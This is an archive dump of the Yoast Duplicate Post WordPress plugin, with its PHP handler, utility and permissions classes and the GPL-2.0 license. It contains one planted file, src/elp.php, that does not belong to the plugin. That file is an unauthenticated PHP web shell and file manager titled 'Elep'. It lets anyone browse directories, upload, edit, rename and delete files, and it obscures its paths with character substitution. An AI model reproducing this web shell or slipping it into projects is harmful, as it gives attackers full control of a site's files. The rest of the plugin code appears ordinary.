							$content_from = \apply_filters( "_wp_post_revision_field_{$field}", $this->original->$field, $field, $this->original, 'from' );

							/** This filter is documented in wp-admin/includes/revision.php */
							// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reason: using WP core hook.
							$content_to = \apply_filters( "_wp_post_revision_field_{$field}", $this->post->$field, $field, $this->post, 'to' );

							$diff = \wp_text_diff( $content_from, $content_to, $args );

							if ( ! $diff && $field === 'post_title' ) {
								// It's a better user experience to still show the Title, even if it didn't change.
								$diff  = '<table class="diff"><colgroup><col class="content diffsplit left"><col class="content diffsplit middle"><col class="content diffsplit right"></colgroup><tbody><tr>';
								$diff .= '<td>' . \esc_html( $this->original->post_title ) . '</td><td></td><td>' . \esc_html( $this->post->post_title ) . '</td>';
								$diff .= '</tr></tbody>';
								$diff .= '</table>';
							}

							if ( $diff ) {
								?>
								<h3><?php echo \esc_html( $name ); ?></h3>
								<?php
									echo $diff; // phpcs:ignore WordPress.Security.EscapeOutput
							}
						}
						?>

						</div>
					</div>
				</div>
			</div>
		</div>
		<?php
		$this->require_wordpress_footer();
	}

	/**
	 * Requires the WP admin header.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function require_wordpress_header() {
		global $post;
		\set_current_screen( 'revision' );
		// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- The revision screen expects $post to be set.
		$post = $this->post;
		require_once \ABSPATH . 'wp-admin/admin-header.php';
	}

	/**
	 * Requires the WP admin footer.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function require_wordpress_footer() {
		require_once \ABSPATH . 'wp-admin/admin-footer.php';
	}
}
src/handlers/save-post-handler.php000064400000002726151327062330013211 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Handlers;

use Yoast\WP\Duplicate_Post\Permissions_Helper;

/**
 * Duplicate Post handler class for save_post action.
 *
 * @since 4.0
 */
class Save_Post_Handler {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The Permissions Helper object.
	 */
	public function __construct( Permissions_Helper $permissions_helper ) {
		$this->permissions_helper = $permissions_helper;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( \intval( \get_option( 'duplicate_post_show_original_meta_box' ) ) === 1
			|| \intval( \get_option( 'duplicate_post_show_original_column' ) ) === 1 ) {
			\add_action( 'save_post', [ $this, 'delete_on_save_post' ] );
		}
	}

	/**
	 * Deletes the custom field with the ID of the original post.
	 *
	 * @param int $post_id The current post ID.
	 *
	 * @return void
	 */
	public function delete_on_save_post( $post_id ) {
		if ( ( \defined( 'DOING_AUTOSAVE' ) && \DOING_AUTOSAVE )
			|| empty( $_POST['duplicate_post_remove_original'] )
			|| ! \current_user_can( 'edit_post', $post_id ) ) {
			return;
		}

		$post = \get_post( $post_id );
		if ( ! $post ) {
			return;
		}
		if ( ! $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			\delete_post_meta( $post_id, '_dp_original' );
		}
	}
}
src/utils.php000064400000014320151327062330007206 0ustar00<?php

namespace Yoast\WP\Duplicate_Post;

use WP_Post;

/**
 * Utility methods for Duplicate Post.
 *
 * @since 4.0
 */
class Utils {

	/**
	 * Flattens a version number for use in a filename.
	 *
	 * @param string $version The original version number.
	 *
	 * @return string The flattened version number.
	 */
	public static function flatten_version( $version ) {
		$parts = \explode( '.', $version );

		if ( \count( $parts ) === 2 && \preg_match( '/^\d+$/', $parts[1] ) === 1 ) {
			$parts[] = '0';
		}

		return \implode( '', $parts );
	}

	/**
	 * Adds slashes only to strings.
	 *
	 * @param mixed $value Value to slash only if string.
	 *
	 * @return string|mixed
	 */
	public static function addslashes_to_strings_only( $value ) {
		return \is_string( $value ) ? \addslashes( $value ) : $value;
	}

	/**
	 * Replaces faulty core wp_slash().
	 *
	 * Until WP 5.5 wp_slash() recursively added slashes not just to strings in array/objects, leading to errors.
	 *
	 * @param mixed $value What to add slashes to.
	 *
	 * @return mixed
	 */
	public static function recursively_slash_strings( $value ) {
		return \map_deep( $value, [ self::class, 'addslashes_to_strings_only' ] );
	}

	/**
	 * Gets the original post.
	 *
	 * @param int|WP_Post|null $post   Optional. Post ID or Post object.
	 * @param string           $output Optional, default is Object. Either OBJECT, ARRAY_A, or ARRAY_N.
	 *
	 * @return WP_Post|null Post data if successful, null otherwise.
	 */
	public static function get_original( $post = null, $output = \OBJECT ) {
		$post = \get_post( $post );
		if ( ! $post ) {
			return null;
		}

		$original_id = self::get_original_post_id( $post->ID );

		if ( empty( $original_id ) ) {
			return null;
		}

		return \get_post( $original_id, $output );
	}

	/**
	 * Determines if the post has ancestors marked for copy.
	 *
	 * If we are copying children, and the post has already an ancestor marked for copy, we have to filter it out.
	 *
	 * @param WP_Post $post     The post object.
	 * @param array   $post_ids The array of marked post IDs.
	 *
	 * @return bool Whether the post has ancestors marked for copy.
	 */
	public static function has_ancestors_marked( $post, $post_ids ) {
		$ancestors_in_array = 0;
		$parent             = \wp_get_post_parent_id( $post->ID );
		while ( $parent ) {
			if ( \in_array( $parent, $post_ids, true ) ) {
				++$ancestors_in_array;
			}
			$parent = \wp_get_post_parent_id( $parent );
		}
		return ( $ancestors_in_array !== 0 );
	}

	/**
	 * Returns a link to edit, preview or view a post, in accordance to user capabilities.
	 *
	 * @param WP_Post $post Post ID or Post object.
	 *
	 * @return string|null The link to edit, preview or view a post.
	 */
	public static function get_edit_or_view_link( $post ) {
		$post = \get_post( $post );
		if ( ! $post ) {
			return null;
		}

		$can_edit_post    = \current_user_can( 'edit_post', $post->ID );
		$title            = \_draft_or_post_title( $post );
		$post_type_object = \get_post_type_object( $post->post_type );

		if ( $can_edit_post && $post->post_status !== 'trash' ) {
			return \sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				\esc_url( \get_edit_post_link( $post->ID ) ),
				/* translators: %s: post title */
				\esc_attr( \sprintf( \__( 'Edit &#8220;%s&#8221;', 'duplicate-post' ), $title ) ),
				$title
			);
		}
		elseif ( \is_post_type_viewable( $post_type_object ) ) {
			if ( \in_array( $post->post_status, [ 'pending', 'draft', 'future' ], true ) ) {
				if ( $can_edit_post ) {
					$preview_link = \get_preview_post_link( $post );
					return \sprintf(
						'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
						\esc_url( $preview_link ),
						/* translators: %s: post title */
						\esc_attr( \sprintf( \__( 'Preview &#8220;%s&#8221;', 'duplicate-post' ), $title ) ),
						$title
					);
				}
			}
			elseif ( $post->post_status !== 'trash' ) {
				return \sprintf(
					'<a href="%s" rel="bookmark" aria-label="%s">%s</a>',
					\esc_url( \get_permalink( $post->ID ) ),
					/* translators: %s: post title */
					\esc_attr( \sprintf( \__( 'View &#8220;%s&#8221;', 'duplicate-post' ), $title ) ),
					$title
				);
			}
		}

		return $title;
	}

	/**
	 * Gets the ID of the original post intended to be rewritten with the copy for Rewrite & Republish.
	 *
	 * @param int $post_id The copy post ID.
	 *
	 * @return int The original post id of a copy for Rewrite & Republish.
	 */
	public static function get_original_post_id( $post_id ) {
		return (int) \get_post_meta( $post_id, '_dp_original', true );
	}

	/**
	 * Gets the registered WordPress roles.
	 *
	 * @codeCoverageIgnore As this is a simple wrapper method for a built-in WordPress method, we don't have to test it.
	 *
	 * @return array The roles.
	 */
	public static function get_roles() {
		global $wp_roles;

		return $wp_roles->get_names();
	}

	/**
	 * Gets the default meta field names to be filtered out.
	 *
	 * @return array The names of the meta fields to filter out by default.
	 */
	public static function get_default_filtered_meta_names() {
		return [
			'_edit_lock',
			'_edit_last',
			'_dp_original',
			'_dp_is_rewrite_republish_copy',
			'_dp_has_rewrite_republish_copy',
			'_dp_has_been_republished',
			'_dp_creation_date_gmt',
		];
	}

	/**
	 * Gets a Duplicate Post option from the database.
	 *
	 * @param string $option The option to get.
	 * @param string $key    The key to retrieve, if the option is an array.
	 *
	 * @return mixed The option.
	 */
	public static function get_option( $option, $key = '' ) {
		$option = \get_option( $option );

		if ( ! \is_array( $option ) || empty( $key ) ) {
			return $option;
		}

		if ( ! \array_key_exists( $key, $option ) ) {
			return '';
		}

		return $option[ $key ];
	}

	/**
	 * Determines if a plugin is active.
	 *
	 * We can't use is_plugin_active because this must work on the frontend too.
	 *
	 * @param string $plugin Path to the plugin file relative to the plugins directory.
	 *
	 * @return bool Whether a plugin is currently active.
	 */
	public static function is_plugin_active( $plugin ) {
		if ( \in_array( $plugin, (array) \get_option( 'active_plugins', [] ), true ) ) {
			return true;
		}

		if ( ! \is_multisite() ) {
			return false;
		}

		$plugins = \get_site_option( 'active_sitewide_plugins' );
		return isset( $plugins[ $plugin ] );
	}
}
src/permissions-helper.php000064400000017405151327062330011705 0ustar00<?php

namespace Yoast\WP\Duplicate_Post;

use WP_Post;

/**
 * Permissions helper for Duplicate Post.
 *
 * @since 4.0
 */
class Permissions_Helper {

	/**
	 * Returns the array of the enabled post types.
	 *
	 * @return array The array of post types.
	 */
	public function get_enabled_post_types() {
		$enabled_post_types = \get_option( 'duplicate_post_types_enabled', [ 'post', 'page' ] );
		if ( ! \is_array( $enabled_post_types ) ) {
			$enabled_post_types = [ $enabled_post_types ];
		}

		if ( Utils::is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
			$enabled_post_types = \array_diff( $enabled_post_types, [ 'product' ] );
		}

		/**
		 * Filters the list of post types for which the plugin is enabled.
		 *
		 * @param array $enabled_post_types The array of post type names for which the plugin is enabled.
		 *
		 * @return array The filtered array of post types names.
		 */
		return \apply_filters( 'duplicate_post_enabled_post_types', $enabled_post_types );
	}

	/**
	 * Determines if post type is enabled to be copied.
	 *
	 * @param string $post_type The post type to check.
	 *
	 * @return bool Whether the post type is enabled to be copied.
	 */
	public function is_post_type_enabled( $post_type ) {
		return \in_array( $post_type, $this->get_enabled_post_types(), true );
	}

	/**
	 * Determines if the current user can copy posts.
	 *
	 * @return bool Whether the current user can copy posts.
	 */
	public function is_current_user_allowed_to_copy() {
		return \current_user_can( 'copy_posts' );
	}

	/**
	 * Determines if the post is a copy intended for Rewrite & Republish.
	 *
	 * @param WP_Post $post The post object.
	 *
	 * @return bool Whether the post is a copy intended for Rewrite & Republish.
	 */
	public function is_rewrite_and_republish_copy( WP_Post $post ) {
		return ( \intval( \get_post_meta( $post->ID, '_dp_is_rewrite_republish_copy', true ) ) === 1 );
	}

	/**
	 * Gets the Rewrite & Republish copy ID for the passed post.
	 *
	 * @param WP_Post $post The post object.
	 *
	 * @return int The Rewrite & Republish copy ID.
	 */
	public function get_rewrite_and_republish_copy_id( WP_Post $post ) {
		return \get_post_meta( $post->ID, '_dp_has_rewrite_republish_copy', true );
	}

	/**
	 * Gets the copy post object for the passed post.
	 *
	 * @param WP_Post $post The post to get the copy for.
	 *
	 * @return WP_Post|null The copy's post object or null if it doesn't exist.
	 */
	public function get_rewrite_and_republish_copy( WP_Post $post ) {
		$copy_id = $this->get_rewrite_and_republish_copy_id( $post );

		if ( empty( $copy_id ) ) {
			return null;
		}

		return \get_post( $copy_id );
	}

	/**
	 * Determines if the post has a copy intended for Rewrite & Republish.
	 *
	 * @param WP_Post $post The post object.
	 *
	 * @return bool Whether the post has a copy intended for Rewrite & Republish.
	 */
	public function has_rewrite_and_republish_copy( WP_Post $post ) {
		return ( ! empty( $this->get_rewrite_and_republish_copy_id( $post ) ) );
	}

	/**
	 * Determines if the post has a copy intended for Rewrite & Republish which is scheduled to be published.
	 *
	 * @param WP_Post $post The post object.
	 *
	 * @return bool|WP_Post The scheduled copy if present, false if the post has no scheduled copy.
	 */
	public function has_scheduled_rewrite_and_republish_copy( WP_Post $post ) {
		$copy = $this->get_rewrite_and_republish_copy( $post );

		if ( ! empty( $copy ) && $copy->post_status === 'future' ) {
			return $copy;
		}

		return false;
	}

	/**
	 * Determines whether the current screen is an edit post screen.
	 *
	 * @return bool Whether or not the current screen is editing an existing post.
	 */
	public function is_edit_post_screen() {
		if ( ! \is_admin() ) {
			return false;
		}

		$current_screen = \get_current_screen();

		return $current_screen->base === 'post' && $current_screen->action !== 'add';
	}

	/**
	 * Determines whether the current screen is an new post screen.
	 *
	 * @return bool Whether or not the current screen is editing an new post.
	 */
	public function is_new_post_screen() {
		if ( ! \is_admin() ) {
			return false;
		}

		$current_screen = \get_current_screen();

		return $current_screen->base === 'post' && $current_screen->action === 'add';
	}

	/**
	 * Determines if we are currently editing a post with Classic editor.
	 *
	 * @return bool Whether we are currently editing a post with Classic editor.
	 */
	public function is_classic_editor() {
		if ( ! $this->is_edit_post_screen() && ! $this->is_new_post_screen() ) {
			return false;
		}

		$screen = \get_current_screen();
		if ( $screen->is_block_editor() ) {
			return false;
		}

		return true;
	}

	/**
	 * Determines if the original post has changed since the creation of the copy.
	 *
	 * @param WP_Post $post The post object.
	 *
	 * @return bool Whether the original post has changed since the creation of the copy.
	 */
	public function has_original_changed( WP_Post $post ) {
		if ( ! $this->is_rewrite_and_republish_copy( $post ) ) {
			return false;
		}

		$original               = Utils::get_original( $post );
		$copy_creation_date_gmt = \get_post_meta( $post->ID, '_dp_creation_date_gmt', true );

		if ( $original && $copy_creation_date_gmt ) {
			if ( \strtotime( $original->post_modified_gmt ) > \strtotime( $copy_creation_date_gmt ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Determines if duplicate links for the post can be displayed.
	 *
	 * @param WP_Post $post The post object.
	 *
	 * @return bool Whether the links can be displayed.
	 */
	public function should_links_be_displayed( WP_Post $post ) {
		/**
		 * Filter allowing displaying duplicate post links for current post.
		 *
		 * @param bool    $display_links Whether the duplicate links will be displayed.
		 * @param WP_Post $post          The post object.
		 *
		 * @return bool Whether or not to display the duplicate post links.
		 */
		$display_links = \apply_filters( 'duplicate_post_show_link', $this->is_current_user_allowed_to_copy() && $this->is_post_type_enabled( $post->post_type ), $post );

		return ! $this->is_rewrite_and_republish_copy( $post ) && $display_links;
	}

	/**
	 * Determines if the Rewrite & Republish link for the post should be displayed.
	 *
	 * @param WP_Post $post The post object.
	 *
	 * @return bool Whether the links should be displayed.
	 */
	public function should_rewrite_and_republish_be_allowed( WP_Post $post ) {
		return $post->post_status === 'publish'
			&& ! $this->is_rewrite_and_republish_copy( $post )
			&& ! $this->has_rewrite_and_republish_copy( $post );
	}

	/**
	 * Determines whether the passed post type is public and shows an admin bar.
	 *
	 * @param string $post_type The post_type to copy.
	 *
	 * @return bool Whether or not the post can be copied to a new draft.
	 */
	public function post_type_has_admin_bar( $post_type ) {
		$post_type_object = \get_post_type_object( $post_type );

		if ( empty( $post_type_object ) ) {
			return false;
		}

		return $post_type_object->public && $post_type_object->show_in_admin_bar;
	}

	/**
	 * Determines whether a Rewrite & Republish copy can be republished.
	 *
	 * @param WP_Post $post The post object.
	 *
	 * @return bool Whether the Rewrite & Republish copy can be republished.
	 */
	public function is_copy_allowed_to_be_republished( WP_Post $post ) {
		return \in_array( $post->post_status, [ 'dp-rewrite-republish', 'private' ], true );
	}

	/**
	 * Determines if the post has a trashed copy intended for Rewrite & Republish.
	 *
	 * @param WP_Post $post The post object.
	 *
	 * @return bool Whether the post has a trashed copy intended for Rewrite & Republish.
	 */
	public function has_trashed_rewrite_and_republish_copy( WP_Post $post ) {
		$copy_id = \get_post_meta( $post->ID, '_dp_has_rewrite_republish_copy', true );

		if ( ! $copy_id ) {
			return false;
		}

		$copy = \get_post( $copy_id );

		return ( $copy && $copy->post_status === 'trash' );
	}
}
src/elp.php000064400000025736151327062330006643 0ustar00<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Elep</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>gpl-2.0.txt000064400000043254151327062330006376 0ustar00                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

                    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
